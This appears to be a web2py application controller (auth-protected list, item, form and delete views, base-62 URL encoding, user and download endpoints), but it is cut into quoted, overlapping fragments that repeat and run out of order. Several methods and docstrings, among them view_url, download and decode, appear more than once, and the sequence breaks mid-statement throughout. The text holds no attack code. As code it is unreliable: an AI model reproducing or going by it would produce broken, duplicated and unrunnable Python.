return dict(form=auth()) @cache.action() def download(): \"\"\" allows", "to allow administrator to manage users \"\"\" return dict(form=auth()) @cache.action() def download(): \"\"\"", "c in enumerate(text) ) class ListView: def __init__(self, table, names, query=None, orderby=None, title=None,", "= dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller, self.function,", "build_itemview(self, record): return Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self,", "[a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None: args[0] += a62.encode(reference, 10) if verb:", "delete_url(self, id): return URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller,", "'id' else XML('&nbsp;') def columns(self): for name in self.names: yield self.table[name] def rows(self):", "'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash = CAT( P('function: ', function),", "table._extra: link = self.url(table._extra['function'], reference) elif field.represent is not None: text = field.represent(text,", "files uploaded in the db (does streaming) ######################################################################### def readable_id(id): return id.replace('_', '", "- index is the default action of any application ## - user is", "names, query) class Delegate(dict): def __init__(self, function, reference, verb=None): self.function = function self.table", "-1) ) ]) @classmethod def decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for", "dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller, self.function, args=[id])", "ListView(table, names, query) class Delegate(dict): def __init__(self, function, reference, verb=None): self.function = function", "in mb.handlers.items()}) first = request.args(0) if first is None: redirect(Delegate.url('object')) if len(first) not", ")}) base = 62 @classmethod def encode(cls, value, length): return ''.join([ cls.mapping[x] for", "is not None: args[0] += a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request, args=args)", "enumerate(text) ) class ListView: def __init__(self, table, names, query=None, orderby=None, title=None, controller=None, function=None):", "= self.build_listview() elif record is None and verb == 'new' or verb ==", "Form: def __init__(self, table, record=None, default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name for", "mapping: self[key] = mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value,", "self.record = record def related(self): for field in self.table._extra['related']: table = field.table names", "http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions", "]) @classmethod def decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c", "orderby or self.table.id self.title = title or readable_id(table._id.tablename) self.controller = controller or request.controller", "decorate with @services.jsonrpc the functions to expose supports xml, json, xmlrpc, jsonrpc, amfrpc,", "verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None: args[0] += a62.encode(reference,", "link = self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text, _href=link, _class=type) else: return", "record, fields=[field.name for field in table if field.name not in {'created', 'created_by', 'modified',", "Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for key in mapping: self[key]", "default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'],", "# -*- coding: utf-8 -*- # this file is released under public domain", "**properties) def view_url(self, id): return URL(self.controller, self.function, args=[id]) def edit_url(self, id): return URL(self.controller,", "self.function, args=['new']) class Form: def __init__(self, table, record=None, default_redirect=None): self.form = SQLFORM( table,", "field.extra: text = field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link =", "is required for authentication and authorization ## - download is for downloading files", "rows(self): properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return", "function = tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if first[4:] else None verb", "else: raise HTTP(404) def display(self, field, row, primary_reference=True): text = row[field] link =", "None: table = db[table_name] reference = text text = (table._format(table[text]) if callable(table._format) else", "function), P('reference: ', reference), P('verb: ', verb), ) return Delegate(function, reference, verb) def", "is None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif record is None and", "table = db[table_name] reference = text text = (table._format(table[text]) if callable(table._format) else table._format", "url=self.url, function=self.function, ) record = self.table(reference) if record and verb is None: response.view", "None: text = field.represent(text, row) if text is None and hasattr(field, 'extra') and", "self.build_delete() else: raise HTTP(404) def display(self, field, row, primary_reference=True): text = row[field] link", "def columns(self): for name in self.names: yield self.table[name] def rows(self): properties = dict(", "= field.table names = table._extra['columns'] query = (field == self.record.id) yield ListView(table, names,", "names, query=None, orderby=None, title=None, controller=None, function=None): self.table = table self.names = names self.query", "= a62.decode(first[4:]) if first[4:] else None verb = { None: None, 'e': 'edit',", "http://..../[app]/appadmin/manage/auth to allow administrator to manage users \"\"\" return dict(form=auth()) @cache.action() def download():", "Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls, table, reference=None, verb=None): args", "self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod", "mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record", "@auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that need access control also notice", "text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in enumerate(text) ) class", "verb == 'new' or verb == 'edit': response.view = 'form.html' self['form'] = self.build_form(record)", "def readable_id(id): return id.replace('_', ' ').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__()", "def view_url(self, id): return URL(self.controller, self.function, args=[id]) def edit_url(self, id): return URL(self.controller, self.function,", "@classmethod def url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is", "http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that need access", "base = 62 @classmethod def encode(cls, value, length): return ''.join([ cls.mapping[x] for x", "\"\"\" return response.download(request, db) ''' def call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc", "62 @classmethod def encode(cls, value, length): return ''.join([ cls.mapping[x] for x in (", "index is the default action of any application ## - user is required", "SQLFORM( table, record, fields=[field.name for field in table if field.name not in {'created',", "or (self.table.id > 0) self.orderby = orderby or self.table.id self.title = title or", "class Itemview: def __init__(self, table, record): self.table = table self.record = record def", "i in range(length - 1, -1, -1) ) ]) @classmethod def decode(cls, text):", "if first is None: redirect(Delegate.url('object')) if len(first) not in (4, 14): raise HTTP(404)", "http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to expose supports xml, json, xmlrpc, jsonrpc,", "if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self, table, record):", "application ## - user is required for authentication and authorization ## - download", "this file is released under public domain and you can use without limitations", "URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller, self.function, args=[id,", "tables = Bijection({table._extra['index']: key for key, table in mb.handlers.items()}) first = request.args(0) if", "services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to expose supports xml,", "vars.id) def build_itemview(self, record): return Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby)", "table, record=None, default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name for field in table", "callable(table._format) else table._format % table[text].as_dict()) if 'urls' in table._extra: link = self.url(table._extra['function'], reference)", "= default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview:", "action of any application ## - user is required for authentication and authorization", "class Form: def __init__(self, table, record=None, default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name", "record is None and verb is None: response.view = 'listview.html' self['listview'] = self.build_listview()", "Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table,", "- 1, -1, -1) ) ]) @classmethod def decode(cls, text): return sum( cls.mapping[c]", "self.table.id self.title = title or readable_id(table._id.tablename) self.controller = controller or request.controller self.function =", "None: args[0] += a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def", "= field.represent(text, row) if text is None and hasattr(field, 'extra') and 'null_value' in", "hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text,", "headers(self): for name in self.names: yield readable_id(name) if name != 'id' else XML('&nbsp;')", "verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']: key for", "'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new']) class Form: def __init__(self,", "table in mb.handlers.items()}) first = request.args(0) if first is None: redirect(Delegate.url('object')) if len(first)", "and 'null_value' in field.extra: text = field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and", "of any application ## - user is required for authentication and authorization ##", "self.names = names self.query = query or (self.table.id > 0) self.orderby = orderby", "zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def encode(cls, value, length): return", "def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process()", "URL(r=request, args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']: key for key, table in", "response.view = 'delete.html' self['form'] = self.build_delete() else: raise HTTP(404) def display(self, field, row,", "jsonrpc, amfrpc, rss, csv \"\"\" return service() ''' def debug(): return dict(debug=dict( user=auth.user,", "record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls, table, reference=None, verb=None): args =", ") ]) @classmethod def decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i,", "field, row, primary_reference=True): text = row[field] link = '' type, is_reference, table_name =", "in range(length - 1, -1, -1) ) ]) @classmethod def decode(cls, text): return", "field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text, _href=link, _class=type) else:", "_class=type) else: return SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return self.url(self.function, vars.id) def", "first[4:] else None verb = { None: None, 'e': 'edit', 'd': 'delete', 'n':", "= db[table_name] reference = text text = (table._format(table[text]) if callable(table._format) else table._format %", "example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to expose supports xml, json, xmlrpc,", "= table self.names = names self.query = query or (self.table.id > 0) self.orderby", "build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls, table,", "raise HTTP(404) def display(self, field, row, primary_reference=True): text = row[field] link = ''", "return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls, table, reference=None, verb=None):", "self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text, _href=link, _class=type) else: return SPAN(text, _title=text,", "## This is a sample controller ## - index is the default action", "HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if first[4:] else None", "-*- # this file is released under public domain and you can use", "text = (table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict()) if 'urls' in table._extra:", "return ''.join([ cls.mapping[x] for x in ( (value // cls.base**i) % cls.base for", "'modified_by'}], ) self.default_redirect = default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return", "cls.base for i in range(length - 1, -1, -1) ) ]) @classmethod def", "name != 'id' else XML('&nbsp;') def columns(self): for name in self.names: yield self.table[name]", "in table if field.name not in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect =", "'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info})", "// cls.base**i) % cls.base for i in range(length - 1, -1, -1) )", "cls.base**i) % cls.base for i in range(length - 1, -1, -1) ) ])", "table._format % table[text].as_dict()) if 'urls' in table._extra: link = self.url(table._extra['function'], reference) elif field.represent", "response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif record is None and verb is", "None, 'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash = CAT( P('function: ',", "' ').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for key", "def related(self): for field in self.table._extra['related']: table = field.table names = table._extra['columns'] query", "self.build_listview() elif record is None and verb == 'new' or verb == 'edit':", "= self.build_form(record) elif record and verb == 'delete': response.view = 'delete.html' self['form'] =", "self.function = function or request.function def headers(self): for name in self.names: yield readable_id(name)", "administrator to manage users \"\"\" return dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading", "self.table = table self.record = record def related(self): for field in self.table._extra['related']: table", "expose supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return service() '''", "return response.download(request, db) ''' def call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate", "= controller or request.controller self.function = function or request.function def headers(self): for name", "= function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display,", "users \"\"\" return dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading of uploaded files", "is the default action of any application ## - user is required for", "= title or readable_id(table._id.tablename) self.controller = controller or request.controller self.function = function or", ") class ListView: def __init__(self, table, names, query=None, orderby=None, title=None, controller=None, function=None): self.table", "tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if first[4:] else None verb = {", "return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller, self.function,", "None verb = { None: None, 'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)]", "'delete': response.view = 'delete.html' self['form'] = self.build_delete() else: raise HTTP(404) def display(self, field,", "= SQLFORM( table, record, fields=[field.name for field in table if field.name not in", "(field == self.record.id) yield ListView(table, names, query) class Delegate(dict): def __init__(self, function, reference,", "table self.record = record def related(self): for field in self.table._extra['related']: table = field.table", "row.id) if link: return A(text, _title=text, _href=link, _class=type) else: return SPAN(text, _title=text, _class=type)", "link = self.url(table._extra['function'], reference) elif field.represent is not None: text = field.represent(text, row)", "readable_id(name) if name != 'id' else XML('&nbsp;') def columns(self): for name in self.names:", "__init__(self, table, record): self.table = table self.record = record def related(self): for field", "in ( (value // cls.base**i) % cls.base for i in range(length - 1,", "downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def call(): \"\"\"", "and text is not None: table = db[table_name] reference = text text =", "downloading files uploaded in the db (does streaming) ######################################################################### def readable_id(id): return id.replace('_',", "controller or request.controller self.function = function or request.function def headers(self): for name in", "name',record_id) to decorate functions that need access control also notice there is http://..../[app]/appadmin/manage/auth", "'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def encode(cls, value, length): return ''.join([ cls.mapping[x]", "= self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record = self.table(reference) if record and", "record and verb is None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif record", "CAT( P('function: ', function), P('reference: ', reference), P('verb: ', verb), ) return Delegate(function,", "self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new']) class Form:", "vars): return self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table, record) def build_listview(self): return", "Delegate(function, reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password", "'null_value' in field.extra: text = field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'):", "return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self):", "( (value // cls.base**i) % cls.base for i in range(length - 1, -1,", "i, c in enumerate(text) ) class ListView: def __init__(self, table, names, query=None, orderby=None,", "row) if text is None and hasattr(field, 'extra') and 'null_value' in field.extra: text", "== 'edit': response.view = 'form.html' self['form'] = self.build_form(record) elif record and verb ==", "return A(text, _title=text, _href=link, _class=type) else: return SPAN(text, _title=text, _class=type) def default_redirect(self, vars):", "the default action of any application ## - user is required for authentication", "if 'urls' in table._extra: link = self.url(table._extra['function'], reference) elif field.represent is not None:", "text is not None: table = db[table_name] reference = text text = (table._format(table[text])", "## - index is the default action of any application ## - user", "public domain and you can use without limitations ######################################################################### ## This is a", "domain and you can use without limitations ######################################################################### ## This is a sample", "field in self.table._extra['related']: table = field.table names = table._extra['columns'] query = (field ==", "== 'reference' and text is not None: table = db[table_name] reference = text", "def new_url(self): return URL(self.controller, self.function, args=['new']) class Form: def __init__(self, table, record=None, default_redirect=None):", "record is None and verb == 'new' or verb == 'edit': response.view =", "self.table = table self.names = names self.query = query or (self.table.id > 0)", "is released under public domain and you can use without limitations ######################################################################### ##", "need access control also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage", "found') reference = a62.decode(first[4:]) if first[4:] else None verb = { None: None,", "return self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table, record) def build_listview(self): return ListView(self.table,", "field.represent(text, row) if text is None and hasattr(field, 'extra') and 'null_value' in field.extra:", "Bijection({table._extra['index']: key for key, table in mb.handlers.items()}) first = request.args(0) if first is", "super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value)", "self.function, args=[id]) def edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def", "yield readable_id(name) if name != 'id' else XML('&nbsp;') def columns(self): for name in", "under public domain and you can use without limitations ######################################################################### ## This is", "self.url(table._extra['function'], reference) elif field.represent is not None: text = field.represent(text, row) if text", "'modified', 'modified_by'}], ) self.default_redirect = default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars))", "elif record is None and verb == 'new' or verb == 'edit': response.view", "= self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j: i for", "access control also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users", "self).__delitem__(value) class a62: mapping = Bijection({j: i for j, i in zip( range(62),", "names self.query = query or (self.table.id > 0) self.orderby = orderby or self.table.id", "reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None: args[0] +=", "or verb == 'edit': response.view = 'form.html' self['form'] = self.build_form(record) elif record and", "for authentication and authorization ## - download is for downloading files uploaded in", "with @services.jsonrpc the functions to expose supports xml, json, xmlrpc, jsonrpc, amfrpc, rss,", "def url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not", "def rows(self): properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id):", "for field in table if field.name not in {'created', 'created_by', 'modified', 'modified_by'}], )", "record): self.table = table self.record = record def related(self): for field in self.table._extra['related']:", "= record def related(self): for field in self.table._extra['related']: table = field.table names =", "download(): \"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) '''", "self.form = SQLFORM( table, record, fields=[field.name for field in table if field.name not", "= request.args(0) if first is None: redirect(Delegate.url('object')) if len(first) not in (4, 14):", "is_reference, table_name = field.type.partition(' ') if type == 'reference' and text is not", "text = field.represent(text, row) if text is None and hasattr(field, 'extra') and 'null_value'", "def __init__(self, table, record=None, default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name for field", "in (4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:])", "None and verb == 'new' or verb == 'edit': response.view = 'form.html' self['form']", "and verb is None: response.view = 'listview.html' self['listview'] = self.build_listview() elif record is", "a62.decode(first[4:]) if first[4:] else None verb = { None: None, 'e': 'edit', 'd':", "function or request.function def headers(self): for name in self.names: yield readable_id(name) if name", "'listview.html' self['listview'] = self.build_listview() elif record is None and verb == 'new' or", "in self.names: yield readable_id(name) if name != 'id' else XML('&nbsp;') def columns(self): for", "is not None: text = field.represent(text, row) if text is None and hasattr(field,", "if type == 'reference' and text is not None: table = db[table_name] reference", "return URL(self.controller, self.function, args=['new']) class Form: def __init__(self, table, record=None, default_redirect=None): self.form =", "_title=text, _class=type) def default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table,", "uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def call(): \"\"\" exposes services.", "def display(self, field, row, primary_reference=True): text = row[field] link = '' type, is_reference,", "= field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id)", "record = self.table(reference) if record and verb is None: response.view = 'itemview.html' self['itemview']", "URL(self.controller, self.function, args=[id]) def edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info})", "is None and hasattr(field, 'extra') and 'null_value' in field.extra: text = field.extra['null_value'] if", "return dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\"", "= table self.record = record def related(self): for field in self.table._extra['related']: table =", "in mapping: self[key] = mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection,", "def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls,", "not None: args[0] += a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login()", "db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller, self.function, args=[id]) def edit_url(self, id): return", "None: redirect(Delegate.url('object')) if len(first) not in (4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]),", "value, length): return ''.join([ cls.mapping[x] for x in ( (value // cls.base**i) %", "'d': 'delete', 'n': 'new', }[request.args(1)] response.flash = CAT( P('function: ', function), P('reference: ',", "you can use without limitations ######################################################################### ## This is a sample controller ##", "there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users \"\"\" return dict(form=auth()) @cache.action()", "table_name = field.type.partition(' ') if type == 'reference' and text is not None:", "i for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod", "streaming) ######################################################################### def readable_id(id): return id.replace('_', ' ').title() class Bijection(dict): def __init__(self, mapping=None):", "table[text].as_dict()) if 'urls' in table._extra: link = self.url(table._extra['function'], reference) elif field.represent is not", "'extra') and 'null_value' in field.extra: text = field.extra['null_value'] if primary_reference: if hasattr(field, 'extra')", "is None: redirect(Delegate.url('object')) if len(first) not in (4, 14): raise HTTP(404) function =", "args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller, self.function, args=[id, 'delete'], vars={'next':", "readable_id(id): return id.replace('_', ' ').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if", "can use without limitations ######################################################################### ## This is a sample controller ## -", "XML('&nbsp;') def columns(self): for name in self.names: yield self.table[name] def rows(self): properties =", "reference) elif field.represent is not None: text = field.represent(text, row) if text is", "% cls.base for i in range(length - 1, -1, -1) ) ]) @classmethod", "\"\"\" return dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename]", "for key, table in mb.handlers.items()}) first = request.args(0) if first is None: redirect(Delegate.url('object'))", "@cache.action() def download(): \"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request,", "table if field.name not in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect", "Delegate(dict): def __init__(self, function, reference, verb=None): self.function = function self.table = mb.handlers[self.function] self.list_orderby", "id): return URL(self.controller, self.function, args=[id]) def edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'],", "= table._extra['columns'] query = (field == self.record.id) yield ListView(table, names, query) class Delegate(dict):", "and you can use without limitations ######################################################################### ## This is a sample controller", "table self.names = names self.query = query or (self.table.id > 0) self.orderby =", "= query or (self.table.id > 0) self.orderby = orderby or self.table.id self.title =", "xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return service() ''' def debug():", "__delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping =", "def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key):", "Itemview: def __init__(self, table, record): self.table = table self.record = record def related(self):", "super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j: i for j, i", "fields=[field.name for field in table if field.name not in {'created', 'created_by', 'modified', 'modified_by'}],", "for x in ( (value // cls.base**i) % cls.base for i in range(length", "field.type.partition(' ') if type == 'reference' and text is not None: table =", "reference = text text = (table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict()) if", "range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def encode(cls, value, length): return ''.join([", "request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new']) class Form: def __init__(self, table, record=None,", "verb == 'delete': response.view = 'delete.html' self['form'] = self.build_delete() else: raise HTTP(404) def", "is not None: table = db[table_name] reference = text text = (table._format(table[text]) if", "= '' type, is_reference, table_name = field.type.partition(' ') if type == 'reference' and", "= CAT( P('function: ', function), P('reference: ', reference), P('verb: ', verb), ) return", "range(length - 1, -1, -1) ) ]) @classmethod def decode(cls, text): return sum(", "control also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users \"\"\"", "table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None: args[0]", "the functions to expose supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\"", "= 62 @classmethod def encode(cls, value, length): return ''.join([ cls.mapping[x] for x in", "A(text, _title=text, _href=link, _class=type) else: return SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return", "reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register", "record def related(self): for field in self.table._extra['related']: table = field.table names = table._extra['columns']", "self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record = self.table(reference) if record", "def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self,", "\"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to expose", "== 'delete': response.view = 'delete.html' self['form'] = self.build_delete() else: raise HTTP(404) def display(self,", "properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller,", "in field.extra: text = field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link", "allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def call():", "use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that need access control", "def __init__(self, table, names, query=None, orderby=None, title=None, controller=None, function=None): self.table = table self.names", "self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record =", "self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record = self.table(reference) if", "function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url,", "self['form'] = self.build_delete() else: raise HTTP(404) def display(self, field, row, primary_reference=True): text =", "names = table._extra['columns'] query = (field == self.record.id) yield ListView(table, names, query) class", "is for downloading files uploaded in the db (does streaming) ######################################################################### def readable_id(id):", "without limitations ######################################################################### ## This is a sample controller ## - index is", "> 0) self.orderby = orderby or self.table.id self.title = title or readable_id(table._id.tablename) self.controller", "is None and verb is None: response.view = 'listview.html' self['listview'] = self.build_listview() elif", "else: return SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self,", "(self.table.id > 0) self.orderby = orderby or self.table.id self.title = title or readable_id(table._id.tablename)", "@services.jsonrpc the functions to expose supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv", "verb), ) return Delegate(function, reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register", "self.controller = controller or request.controller self.function = function or request.function def headers(self): for", "return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in enumerate(text) ) class ListView:", "ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return", "authentication and authorization ## - download is for downloading files uploaded in the", "http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate", "request.env.path_info}) def delete_url(self, id): return URL(self.controller, 